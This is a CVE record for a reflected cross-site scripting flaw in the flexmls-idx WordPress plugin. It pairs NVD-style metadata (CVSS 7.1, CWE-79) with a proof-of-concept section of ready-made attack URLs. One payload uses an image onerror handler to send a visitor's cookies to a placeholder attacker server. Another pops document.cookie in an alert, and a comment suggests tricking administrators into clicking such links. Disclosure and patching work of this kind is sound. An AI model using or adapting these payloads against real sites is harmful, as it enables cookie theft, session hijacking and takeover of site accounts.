CVE-2026-25369

<!-- CVE-2026-25369 PoC - Reflected XSS in flexmls-idx plugin --> <!-- Target: WordPress site with flexmls-idx plugin <= 3.15.9 --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript --> <!-- Basic XSS PoC - Steal cookies --> https://target-wordpress-site.com/?s=%3Cscript%3Ealert(document.cookie)%3C/script%3E <!-- More advanced PoC - Cookie stealing and sending to attacker server --> <!-- Note: Replace attacker-controlled domain --> https://target-wordpress-site.com/?s=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?cookie='%2Bdocument.cookie)%22%3E <!-- DOM-based XSS PoC using flexmls-idx endpoint --> https://target-wordpress-site.com/flexmls-idx-endpoint/?param=%3Cscript%3Econsole.log('XSS%20triggered')%3C/script%3E <!-- Real exploitation would involve social engineering to trick admin/user into clicking the malicious link -->

{"cve": {"id": "CVE-2026-25369", "sourceIdentifier": "[email protected]", "published": "2026-03-16T15:16:21.530", "lastModified": "2026-04-23T15:37:06.303", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in flexmls Flexmls® IDX flexmls-idx allows Reflected XSS.This issue affects Flexmls® IDX: from n/a through <= 3.15.9."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Flexmls Flexmls® IDX permite XSS Reflejado. Este problema afecta a Flexmls® IDX: desde n/a hasta 3.15.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/flexmls-idx/vulnerability/wordpress-flexmls-idx-plugin-3-15-9-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}